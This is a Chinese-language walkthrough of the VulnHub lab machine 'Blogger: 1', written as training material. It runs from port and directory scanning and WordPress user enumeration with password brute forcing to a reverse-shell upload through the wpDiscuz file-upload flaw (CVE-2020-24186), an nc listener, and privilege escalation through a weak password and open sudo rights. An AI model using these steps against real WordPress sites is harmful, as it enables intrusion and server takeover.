vulnhub blogger: 1

  • Post author:
  • Post category:其他


渗透思路:

nmap扫描端口 —- gobuster扫描网站目录 —- wpscan发现wordpress漏洞插件 —- 利用插件wpdiscuz的未授权的任意文件上传漏洞(CVE-2020-24186)getshell —- 弱密码提权

环境信息:

靶机:192.168.101.106

攻击机:192.168.101.34

具体步骤:

1、nmap扫描端口

sudo nmap -sV -sC -p- 192.168.101.106

扫描到22和80端口

2、gobuster扫描网站目录

gobuster dir -u http://192.168.101.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

只扫描到下图几个目录,一个个看过去,发现/assets目录内有乾坤

http://192.168.101.106/assets/fonts/下有个目录叫blog,点了之后来到http://192.168.101.106/assets/fonts/blog/

观察http://192.168.101.106/assets/fonts/blog/发现应该是个wordpress站点

3、wpscan发现wordpress漏洞插件

wpscan枚举wordpress用户名

wpscan --url http://192.168.101.106/assets/fonts/blog/ -e

发现用户jm3s

然后爆破jm3s的密码,但是没有爆破出来

wpscan --url http://192.168.101.106/assets/fonts/blog/ -U jm3s-P "rockyou.txt"

接下来尝试用wpscan枚举wordpress插件,可以选mixed模式或者aggressive模式

wpscan --url http://192.168.101.106/assets/fonts/blog/ --plugins-detection mixed

发现两个插件,其中wpdiscuz有未授权的任意文件上传漏洞,可以getshell

4、利用插件wpdiscuz的未授权的任意文件上传漏洞(CVE-2020-24186)getshell

在利用任意文件上传之前,需要让网页正常显示,从网页源代码中可以推断,网站的hostname应该是

blogger.thm

修改攻击机的/etc/hosts,增加一行

192.168.101.106 blogger.thm

下面这篇文章是该漏洞的复现(CVE-2020-24186),照着做一遍就可以getshell


https://www.jianshu.com/p/6f178aec2749

先随便点一个文章,比如第一篇http://blogger.thm/assets/fonts/blog/?p=29

拉到文章最下面,在提交评论的右下角有个图像的图标,点击这个图标

将kali中/usr/share/webshells/php/php-reverse-shell.php重命名为shell.gif,并在文件内容的最前面加上”GIF89a”(不好意思图片里面写错了,不过居然过了验证^-^),然后将$ip和$port改为攻击机ip和监听端口。保存后在此处上传。

上传过程中用burp抓包,将请求报文中filename改为shell.php

响应报文中可以看到shell.php的存储路径http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

攻击机上nc监听8888端口

nc -nlvp 8888

浏览器访问

http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

在攻击机监听端口上得到www-data的shell

执行下面的代码可以得到交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

5、弱密码提权

进入靶机/home目录发现有三个用户,经过尝试发现vagrant用户的密码和用户名相同,用

su - vagrant

命令提权到vagrant。

提权到vagrant后,执行

sudo -l

,发现vagrant可以以任何用户的身份执行任何命令,因此可以用

sudo su -

命令提权到root

两个flag文件分别是/home/james/user.txt和/root/root.txt,内容都是base64编码的,可以用

cat xxx | base64 -d

命令解码

cat /home/james/user.txt | base64 -d

cat /root/root.txt | base64 -d



版权声明:本文为elephantxiang原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。